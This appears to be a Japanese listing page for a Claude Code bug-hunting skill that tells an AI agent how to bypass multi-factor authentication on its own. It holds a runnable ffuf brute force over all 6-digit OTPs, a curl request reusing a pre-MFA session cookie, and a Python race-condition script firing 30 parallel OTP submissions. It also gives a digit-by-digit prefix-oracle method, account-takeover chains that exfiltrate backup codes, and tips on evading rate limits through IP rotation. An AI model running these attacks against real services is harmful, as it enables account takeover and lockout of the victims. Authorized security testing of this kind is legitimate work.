hunt-mfa-bypass について
hunt-mfa-bypassは、多要素認証フローの弱点を探すセキュリティテスト用スキルです。フローの省略、OTPの再利用、検証不備を優先して調べ、関連するバイパスパターンも扱います。
主な機能
- 01MFAフローのステップ省略テスト
- 02OTP再利用と検証動作の確認
- 03部分応答によるOTPオラクルの特定
- 04レート制限・競合状態・バックアップコードの検査
- 05関連するセキュリティスキルとの連携
活用シーン
- 01MFA前のセッションで保護データにアクセスできるか確認
- 02使用済みOTPが再度受け付けられるかテスト
- 03応答から正しいOTPプレフィックスが漏れるか評価
- 04バックアップコードの再利用とMFA検証の競合を調査
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-mfa-bypassインストール後、Claude Code で/hunt-mfa-bypassを入力して読み込まれたか確認します。
詳細
自律テストの優先事項
総当たりより先にワークフローの回避を試してください。より速く、成功する可能性も高くなります。
パターン 1 — MFA のステップを完全にスキップする(最も自動化しやすい方法):
- 有効な認証情報でログインし、「MFA 前」のセッション状態を取得します
- MFA を完了せずに、保護されたリソース(
/dashboard、/api/me、/account/profile)へ直接アクセスします - レスポンスにユーザーデータが含まれている場合 → MFA はサーバー側ではなく UI でのみ強制されています = 重大
パターン 2 — OTP のリプレイ(使用済みコードの再利用):
- 有効な MFA フローを完了して、使用可能な OTP を取得します
- ログアウトし、同じ認証情報で再度ログインします
- 同じ OTP をもう一度送信します
- 受け入れられた場合 → OTP は使用後に無効化されていません
パターン 3 — 明らかに間違った OTP を送信し、レスポンスを確認する:
000000 や 123456 の送信を試してください。レスポンスが 200 である場合、またはセッショントークンが返される場合、OTP の検証が壊れているか、クライアント側でしか行われていません。
パターン 4 — 部分的/段階的な検証(プレフィックスオラクル): 推測したコード全体が拒否された場合、サーバーが OTP を一括で検証するのではなく、プレフィックスごとに検証しているかどうかをテストします。短い部分コードを送信し、レスポンスを比較します:
- 1~3 桁の値(例:
otp=1、続けてotp=12、…)を送信します。POST の検証エンドポイントでは、コードは URL のクエリ文字列ではなく、リクエストボディに含めます。そうしないと、サーバーが空の値を読み取る可能性があります。 - 正しいプレフィックスと誤ったプレフィックスで、異なるレスポンス(成功/フラグ、異なるメッセージ、または長さ/タイミングの違い)が返される場合、検証機能はチャンクごとに正誤を漏らしています。
- コードを 1 桁ずつ調べます。「正しい」と応答したプレフィックスを残し、0~9 の数字を追加して繰り返します。これにより、10^6 回の総当たりが約 10×N 回の推測(6 桁コードなら ≤60 回)に減るため、制限時間のあるテストでも十分実行可能です。
コードが漏洩しておらず、スキップやリプレイの経路もない場合は、まずこの方法を試してください。アプリによっては正しいプレフィックスが 1 つでもあれば成功になるため(正しい最初の 1 桁だけで成功する場合もあります)、諦める前に
otp=0,1,…,9を一通り試してください。 重大 — 同じ 1 つのセッションを使い続けてください: 再認証(再度 POST /…/login を実行)すると OTP が再生成され、プレフィックスの進捗が失われます。確立済みの MFA セッション 1 つに対して一連の試行をすべて行い、推測の途中で再ログインしないでください。
全コードの総当たりについて: 10^6 通りすべてを総当たりするのは、制限時間のあるテストでは実行不可能です。ただし、上記のプレフィックスオラクル(パターン 4)を使えば、通常その必要はありません。レート制限がなく、キー空間が小さいことを示す証拠がある場合に限り、全コードの総当たりを試してください。
証明: MFA を完了せずにレスポンスにセッショントークンまたは保護されたリソースのデータが含まれていれば、バイパスが確認できます。
19. MFA/2FA のバイパス
増加しているバグの分類で、7 つの異なるパターンがあります。事前のセッションなしで ATO が可能になる場合、深刻度は高または重大です。
パターン 1:OTP のレート制限なし
# Test with ffuf — all 1M 6-digit codes
ffuf -u "https://target.com/api/verify-otp" \
-X POST -H "Content-Type: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"otp":"FUZZ"}' \
-w <(seq -w 000000 999999) \
-fc 400,429 -t 5
# -t 5 (slow down) — aggressive rates get 429 or ban
パターン 2:使用後に OTP が無効化されない
1. Login → receive OTP "123456" → enter it → success
2. Logout → login again with same credentials
3. Try OTP "123456" again
4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)
パターン 3:レスポンスの改ざん
1. Enter wrong OTP → capture response in Burp
2. Change {"success":false} → {"success":true} (or 401 → 200)
3. Forward → if app proceeds → client-side only MFA check
パターン 4:MFA ステップのスキップ(ワークフローのバイパス)
# After entering password, app sets a "pre-mfa" cookie → redirects to /mfa
# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie
# If app grants access without MFA = auth flow bypass = Critical
curl -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard
パターン 5:MFA 検証時の競合状態
import asyncio, aiohttp
async def verify(session, otp):
async with session.post("https://target.com/api/mfa/verify",
json={"otp": otp}) as r:
return r.status, await r.text()
async def race():
cookies = {"session": "YOUR_SESSION"}
async with aiohttp.ClientSession(cookies=cookies) as s:
# Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU
# window before the server marks it used. Two requests are NOT enough —
# they almost always resolve sequentially as "already-used" (false negative).
# Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).
results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)])
# Race confirmed if >1 success (or 1 success among many "already-used").
for status, body in results:
print(status, body)
asyncio.run(race())
パターン 6:バックアップコードの総当たり
Backup codes: typically 8 alphanumeric = 36^8 = ~2.8T (too large)
BUT: check if backup codes are only 6-8 digits = 1-10M range = feasible with no rate limit
Also test: can backup codes be reused after exhaustion? Some apps regenerate predictably.
パターン 7:「このデバイスを記憶する」による信頼レベルの昇格
1. Complete MFA once on Device A (attacker's browser)
2. Capture the "remember device" cookie
3. Present that cookie from a new IP/browser
4. If MFA skipped = device trust not bound to IP/UA = ATO from any location
MFA チェーンの昇格
Rate limit bypass + no lockout = ATO (Critical)
Response manipulation = client-side only check = Critical
Skip MFA step = auth flow bypass = Critical
OTP reuse = persistent session hijack = High
関連するスキルとチェーン
hunt-ato— MFA バイパスはプリミティブであり、ATO はその到達点です。チェーンのプリミティブ:Cookie の窃取(XSS またはセッション固定化を介する)+パスワードオラクル(ログイン応答の時間差/長さの差から、有効なパスワードをロックアウトなしで特定する)+パスワード変更エンドポイントで MFA による追加認証がない = OTP チャレンジに一度も直面することなく持続的な ATO が成立し、パスワードが変更され、攻撃者によって被害者が締め出されます。hunt-race-condition— パターン 5(OTP の競合)は競合状態の領域に該当するため、両方のスキルを一緒に読み込んでください。チェーンのプリミティブ:同じ 6 桁の OTP を 20 個の並列 HTTP/2 ストリームで(Turbo Intruder によるシングルパケット攻撃)、サーバーが使用済みとしてマークする前に送信する → 1 件成功+19 件が「使用済み」→ 競合ウィンドウを確認 → 攻撃者はブルートフォースする必要はなく、1 回推測して並列化するだけ → ATO。hunt-auth-bypass— MFA ステップのスキップは、ワークフローレイヤーでの認証フローバイパスです。チェーンのプリミティブ:パスワードステップ後に発行された MFA 前の Cookie +/mfaルートをスキップして/dashboardへ直接移動 + サーバーは/mfaのみをミドルウェアで制御し、/dashboardは制御しない = パスワードのみの状態から認証後の完全なアクセスが可能になり、ルートの制御位置が誤っていたため MFA が一度も強制されません。hunt-misc—/api/me経由でのリカバリーコードのダンプはその他クラスの情報漏えいですが、チェーン化されると重大度は Critical になります。チェーンのプリミティブ:/api/meがbackup_codes配列を含むユーザーオブジェクト全体を返す(平文で、ローテーションされない)→ 任意の読み取り IDOR または XSS を持つ攻撃者がバックアップコードを外部へ持ち出す → バックアップコードを 1 つ使用する → MFA を通過する → OTP の知識なしで ATO が成立する。security-arsenal— OTP ブルートフォースのペイロードセクション(000000-999999 のワードリストジェネレーター、-t 5 -p 0.5-2を使った ffuf のレート制限回避パターン、proxychains による分散 IP ローテーション)と、JWT の「MFA 通過済み」クレームを偽造できる場合は JWT トークンリプレイの表を参照してください。triage-validation— 攻撃者がすでにパスワードを知っている場合にのみ機能する MFA バイパスを Critical と判定する前に、Pre-Severity Gate を実行してください。単独の MFA バイパスは High、パスワードオラクルとのチェーンは Critical、Cookie 窃取のみとのチェーンも Critical です。このチェーンに関する問いによって、両者を区別できます。